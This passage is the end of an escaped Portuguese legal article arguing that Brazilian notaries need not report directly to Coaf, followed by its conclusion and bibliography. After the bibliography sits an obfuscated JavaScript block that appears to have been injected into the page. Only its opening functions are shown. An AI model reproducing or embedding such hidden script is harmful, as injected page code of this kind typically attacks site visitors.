eletr&ocirc;nicos e o tr&aacute;fego de informa&ccedil;&otilde;es e dados;<br \/>\nII. aprimorar tecnologias com a finalidade de viabilizar os servi&ccedil;os notariais em meio eletr&ocirc;nico;<br \/>\nIII. implantar em &acirc;mbito nacional um sistema de gerenciamento de banco de dados, para pesquisa;<br \/>\nIV. incentivar o desenvolvimento tecnol&oacute;gico do sistema notarial brasileiro, facilitando o acesso &agrave;s informa&ccedil;&otilde;es, ressalvadas as hip&oacute;teses de acesso restrito nos casos de sigilo.<br \/>\nV. possibilitar o acesso direto de &oacute;rg&atilde;os do Poder P&uacute;blico a informa&ccedil;&otilde;es e dados correspondentes ao servi&ccedil;o notarial.&rdquo;<br \/>\nA atualiza&ccedil;&atilde;o desse banco de dados deve ser feita quinzenalmente, de forma sistem&aacute;tica, pelos Tabeli&atilde;es de Notas e Oficiais de Registro que detenham atribui&ccedil;&atilde;o notarial (arts. 7&ordm;, 8&ordm; e 9&ordm; do Provimento n. 18), ficando sujeitos &agrave; fiscaliza&ccedil;&atilde;o pelo Col&eacute;gio Notarial do Brasil &ndash; Conselho federal (art. 14). Ademais, o acesso &agrave; CENSEC &eacute; livre, integral e gratuito, como disposto no art. 19 desse provimento, podendo ser estendido a &ldquo;todos os &oacute;rg&atilde;os do Poder Judici&aacute;rio e do Minist&eacute;rio P&uacute;blico, bem como os &oacute;rg&atilde;os p&uacute;blicos da Uni&atilde;o, Estados, Distrito Federal e Munic&iacute;pios que delas necessitem para a presta&ccedil;&atilde;o do servi&ccedil;o p&uacute;blico de que incumbidos.&rdquo;<\/p>\n<p>Percebe-se, ent&atilde;o, que todas as informa&ccedil;&otilde;es referentes &agrave;s transa&ccedil;&otilde;es realizadas nos Cart&oacute;rios notariais s&atilde;o enviadas quinzenalmente &agrave; plataforma CENSEC. Portanto, a sujei&ccedil;&atilde;o desses cart&oacute;rios ao envio de informa&ccedil;&otilde;es ao Coaf, situa&ccedil;&atilde;o debatida neste trabalho, mostra-se desnecess&aacute;ria, vez que os dados lan&ccedil;ados j&aacute; podem ser acessados pelas autoridades de investiga&ccedil;&atilde;o da &ldquo;lavagem&rdquo; de dinheiro no pa&iacute;s, quais sejam, o Minist&eacute;rio P&uacute;blico e a Pol&iacute;cia Federal, al&eacute;m da an&aacute;lise pelo pr&oacute;prio Coaf. Al&eacute;m disso, tais autoridades t&ecirc;m habilidade, conhecimento e treinamento superiores aos dos tabeli&atilde;es para reconhecerem situa&ccedil;&otilde;es que possam caracterizar tentativa de &ldquo;lavagem&rdquo;. Com o acesso ao CENSEC, elas podem manusear os dados dispon&iacute;veis de maneira muito mais h&aacute;bil do que o simples envio de suspeitas proposto na Lei 12.683\/12.<\/p>\n<p>Al&eacute;m da cria&ccedil;&atilde;o do CENSEC, em 2014 o CNJ emitiu o Provimento n. 42 que &ldquo;Disp&otilde;e sobre a obrigatoriedade do encaminhamento e da averba&ccedil;&atilde;o na Junta Comercial, de c&oacute;pia do instrumento de procura&ccedil;&atilde;o outorgando poderes de administra&ccedil;&atilde;o, de ger&ecirc;ncia dos neg&oacute;cios, ou de movimenta&ccedil;&atilde;o de conta corrente vinculada de empresa individual de responsabilidade limitada, de sociedade empresarial, de sociedade simples, ou de cooperativa, expedida pelos Tabelionatos de Notas.&rdquo;<\/p>\n<p>A lavratura de procura&ccedil;&otilde;es que outorgam poderes para terceiros (conhecidos popularmente como &ldquo;laranjas&rdquo;) no intuito de desvincular a&ccedil;&otilde;es de administradores\/gerentes de empresas (por vezes, inclusive, &ldquo;empresas fantasmas&rdquo;) que possam ser percebidas como il&iacute;citas &eacute; pr&aacute;tica delituosa comum entre aqueles que tentam concluir uma &ldquo;lavagem&rdquo; de dinheiro. Com a obrigatoriedade do encaminhamento dos tipos supracitados de procura&ccedil;&atilde;o expedidos pelos Tabelionatos de notas, &ldquo;no prazo m&aacute;ximo de tr&ecirc;s dias contados da data da expedi&ccedil;&atilde;o do documento&rdquo;, a percep&ccedil;&atilde;o de procura&ccedil;&otilde;es fraudulentas &eacute; facilitada pela vincula&ccedil;&atilde;o de dados oriundos das Juntas Comerciais com os dos Cart&oacute;rios. Essa associa&ccedil;&atilde;o das informa&ccedil;&otilde;es nas Juntas pode evidenciar de forma clara situa&ccedil;&otilde;es que possam caracterizar &ldquo;lavagem&rdquo; de dinheiro. Portanto, frisa-se a n&atilde;o necessidade de subordina&ccedil;&atilde;o direta dos Cart&oacute;rios de notas ao Coaf, uma vez que o envio de dados &agrave;s Juntas j&aacute; se mostra eficiente e satisfat&oacute;rio para o combate desejado ao crime em quest&atilde;o.<\/p>\n<p>Diante do exposto, sedimenta-se o entendimento sobre a n&atilde;o necessidade de subordina&ccedil;&atilde;o direta dos Not&aacute;rios do pa&iacute;s ao Coaf, posto que j&aacute; existem comunica&ccedil;&otilde;es de todos os atos praticados perante os Not&aacute;rios de todo o pa&iacute;s, acess&iacute;veis pelos &oacute;rg&atilde;os investigativos e analistas de dados descritos na Lei 9.613\/98. Os Not&aacute;rios do Brasil j&aacute; s&atilde;o parceiros do Estado na preven&ccedil;&atilde;o ao crime de lavagem de dinheiro.<\/p>\n<p>Cabe, no entanto, solicitar que seja regulamentada a responsabilidade do Not&aacute;rio que est&aacute; &agrave; frente do Cart&oacute;rio quanto ao lan&ccedil;amento dos dados na CENSEC, posto que se trata de fun&ccedil;&atilde;o onde a troca de titulares &eacute; comum. Deve ficar claro que o novo Not&aacute;rio que assumir um cart&oacute;rio tem a obriga&ccedil;&atilde;o de lan&ccedil;ar na CENSEC, nos prazos previstos pelo CNJ, os atos por ele praticados . Os atos anteriores, que j&aacute; deveriam ter sido lan&ccedil;ados no sistema pelo Not&aacute;rio anterior, se n&atilde;o o foram, devem ser objeto de an&aacute;lise pelo Col&eacute;gio Notarial do Brasil &ndash; CNB, e tamb&eacute;m pelo CNJ e pela Corregedoria do Estado-membro para que sejam adequadamente lan&ccedil;ados no sistema, pois n&atilde;o &eacute; poss&iacute;vel que um novo concursado se veja penalizado por obriga&ccedil;&atilde;o que n&atilde;o &eacute; sua. De qualquer forma, esse &ocirc;nus por lan&ccedil;amento de dados, se vier a ser atribu&iacute;do ao novo delegat&oacute;rio, tem um custo alto e deve ser esclarecido quando do oferecimento do cart&oacute;rio a concurso p&uacute;blico. Por outro lado, como o lan&ccedil;amento dos dados no sistema &eacute; essencial, deve haver um regramento espec&iacute;fico para possibilitar que essa informa&ccedil;&atilde;o seja fornecida.<\/p>\n<p><strong>5. Conclus&atilde;o<\/strong><br \/>\nA &ldquo;lavagem&rdquo; de dinheiro no Brasil, reflexo da ades&atilde;o do pa&iacute;s &agrave; Conven&ccedil;&atilde;o das Na&ccedil;&otilde;es Unidas para Repress&atilde;o do Tr&aacute;fico Internacional de Drogas e subst&acirc;ncias entorpecentes, foi codificada na Lei n&ordm; 9.613\/98, sendo o tipo penal correspondente &agrave; modalidade criminosa que visa &agrave; oculta&ccedil;&atilde;o de bens, direitos e valores provenientes, direta ou indiretamente, de infra&ccedil;&atilde;o penal. No Brasil, al&eacute;m de serem tipificadas as condutas descritas no art. 1&ordm; da Lei 9.613\/98, foi criado o Coaf &ndash; Conselho de Controle de Atividades Financeiras &ndash; no art. 14 desse mesmo dispositivo legal.<\/p>\n<p>Nesse trabalho foram examinados tanto o tipo penal da lavagem de dinheiro quanto a inser&ccedil;&atilde;o dos &ldquo;registros p&uacute;blicos&rdquo; &agrave; subordina&ccedil;&atilde;o ao Coaf, no art. 9&ordm; da Lei 9.613\/98 de forma que est&atilde;o sujeitos tanto &agrave;s obriga&ccedil;&otilde;es de encaminhar ao Coaf informa&ccedil;&otilde;es pertinentes quanto &agrave;s san&ccedil;&otilde;es oriundas do n&atilde;o cumprimento de suas atribui&ccedil;&otilde;es, podendo ser afirmado que os Cart&oacute;rios de Registro nacionais foram promovidos a auxiliares legais no combate &agrave; &ldquo;lavagem&rdquo; de dinheiro.<br \/>\nFoi verificado que, no Brasil, qualquer infra&ccedil;&atilde;o penal (crime ou contraven&ccedil;&atilde;o) s&atilde;o pass&iacute;veis de suscitarem bens il&iacute;citos que possam acarretar &ldquo;lavagem&rdquo; de dinheiro, sendo permitido pela lei (no art. 4&ordm;) a aliena&ccedil;&atilde;o antecipada e o impedimento de bens para repara&ccedil;&atilde;o dos danos e para o pagamento de presta&ccedil;&otilde;es pecuni&aacute;rias, multas e custas decorrentes da infra&ccedil;&atilde;o penal.<\/p>\n<p>Sobre a esfera administrativa, estudou-se a tipifica&ccedil;&atilde;o culposa de infra&ccedil;&atilde;o administrativa por n&atilde;o envio ao Coaf de informa&ccedil;&otilde;es pertinentes a a&ccedil;&otilde;es que possam caracterizar ato il&iacute;cito referente ao crime de lavagem de dinheiro. Assim, todas as pessoas jur&iacute;dicas e f&iacute;sicas subordinadas diretamente ao Coaf, inclusive Oficiais de Registro &ndash; inseridos na lei em 2012, podem ser administrativamente sancionadas por esse n&atilde;o encaminhamento advindo de culpa stricto sensu.<\/p>\n<p>Por fim, tendo em vista as obriga&ccedil;&otilde;es que j&aacute; existem para os Not&aacute;rios em virtude dos Provimentos ns. 18 e 42, do Conselho Nacional de Justi&ccedil;a, concluiu-se que os Not&aacute;rios do Brasil j&aacute; s&atilde;o parceiros do Estado na preven&ccedil;&atilde;o ao crime de lavagem de dinheiro, sendo, portanto, desnecess&aacute;ria a inser&ccedil;&atilde;o dos Tabeli&atilde;es no rol taxativo do art. 9&ordm; da Lei 9.613\/98. No entanto, &eacute; preciso que seja regulamentada a responsabilidade do Not&aacute;rio que est&aacute; &agrave; frente do Cart&oacute;rio quanto ao lan&ccedil;amento dos dados na CENSEC, ficando claro que o novo Not&aacute;rio que assumir um cart&oacute;rio tem a obriga&ccedil;&atilde;o de lan&ccedil;ar na CENSEC, nos prazos previstos pelo CNJ, os atos por ele praticados, mas que, os atos anteriores, que j&aacute; deveriam ter sido lan&ccedil;ados no sistema pelo Not&aacute;rio anterior ou pelo interino, se n&atilde;o o foram, devem ser objeto de um regramento espec&iacute;fico para possibilitar que essa informa&ccedil;&atilde;o seja fornecida.<\/p>\n<p>BIBLIOGRAFIA<\/p>\n<p>ASSUMP&Ccedil;&Atilde;O, Let&iacute;cia Franco Maculan. Notas e Registros: fundamentos, concurso p&uacute;blico, responsabilidade civil. Leme: BH EDITORA, 2016.<br \/>\nBECK, Francis Rafael. A doutrina da cegueira deliberada e sua (in)aplicabilidade ao crime de lavagem de dinheiro. Revista de Estudos Criminais, Porto Alegre, v. 10, n. 41, p. 45-68., abr.\/jun. 2011. Dispon&iacute;vel em: &lt;http:\/\/201.23.85.222\/biblioteca\/index.asp?codigo_sophia=89020&gt;. Acesso em: 9 nov. 2017.<br \/>\nBLANCO CORDERO, Isidoro. Eficacia del sistema de prevenci&oacute;n del blanqueo de capitales. Estudio del cumplimiento normativo (compliance) desde una perspectiva criminol&oacute;gica. Eguzkilore: Cuaderno del Instituto Vasco de Criminolog&iacute;a, San Sebastian, n. 23, p. 117-138., 2009. Dispon&iacute;vel em: &lt;http:\/\/201.23.85.222\/biblioteca\/index.asp?codigo_sophia=77585&gt;. Acesso em: 14 nov. 2017.<br \/>\nBOTTINI, Pierpaolo Cruz. Lavagem de dinheiro: aspectos penais e processuais penais: coment&aacute;rios &agrave; Lei 9.613\/1998, com altera&ccedil;&otilde;es da Lei 12.683\/2012 \/ Pierpaolo Cruz Bottini, Gustavo Henrique Badar&oacute;. &ndash; S&atilde;o Paulo: Editora Revista dos Tribunais, 2012.<br \/>\nBRANDELLI, Leonardo. Teoria Geral do Direito Notarial. Porto Alegre: Livraria do Advogado, 1998.<br \/>\nCAVALCANTE, M&aacute;rcio Andr&eacute; Lopes. Coment&aacute;rios &agrave; Lei n. 12.683\/2012, que alterou a Lei de Lavagem de Dinheiro., p. 12-15, &nbsp;Dizer o Direito. Dispon&iacute;vel em: &lt;http:\/\/www.dizerodireito.com.br&gt;. Acesso em 7 de novembro de 2017.<br \/>\nCENEVIVA, Walter. Lei dos Not&aacute;rios e Registradores comentada. 9&ordf; ed. rev. e atual. S&atilde;o Paulo: Saraiva, 2014.<br \/>\nD&Iacute;AZ-MAROTO Y VILLAREJO, Julio. Algunas notas sobre el delito de blanqueo de capitales. Revista de derecho penal y criminolog&iacute;a: Espanha, Madrid, 2&ordf; &eacute;poca, 1 extraordin&aacute;rio, p. 471-497., mar. 2000.<br \/>\nFROSSARD, Denise. A lavagem de dinheiro e a lei brasileira. Revista Magister de Direito Penal e Processual Penal, Porto Alegre, v. 1, n. 1, p. 22-30., ago.\/set. 2004.<br \/>\nLOUREIRO, Luiz Guiherme. Registros P&uacute;blicos: teoria e pr&aacute;tica. 5&ordf; ed. rev., atual. e ampl.. Rio de Janeiro: Forense, S&atilde;o Paulo: M&eacute;todo, 2014.<br \/>\nRODR&Iacute;GUEZ, V&iacute;ctor Gabriel de Oliveira; LAW, Thomas. Autolavagem e evas&atilde;o de divisas: elementos m&iacute;nimos de interpreta&ccedil;&atilde;o para a autonomia da lavagem de dinheiro, diante da lei brasileira. In: DIREITO penal econ&ocirc;mico: estudos em homenagem aos 75 anos do Professor Klaus Tiedemann. Organiza&ccedil;&atilde;o de William Terra de OLIVEIRA et al. S&atilde;o Paulo: LiberArs, 2013.<br \/>\nSAAVEDRA, Giovani Agostini. Compliance na nova lei de lavagem de dinheiro. Revista S&iacute;ntese de direito penal e processual penal, Porto Alegre, v. 13, n. 75, p. 22-30., ago.\/set. 2012. Dispon&iacute;vel em: &lt;http:\/\/201.23.85.222\/biblioteca\/index.asp?codigo_sophia=97000&gt;. Acesso em: 13 nov. 2017.<br \/>\nVELOSO, Waldir de Pinho. Curso de direito notarial e registral. Curitiba: Juru&aacute;, 2017.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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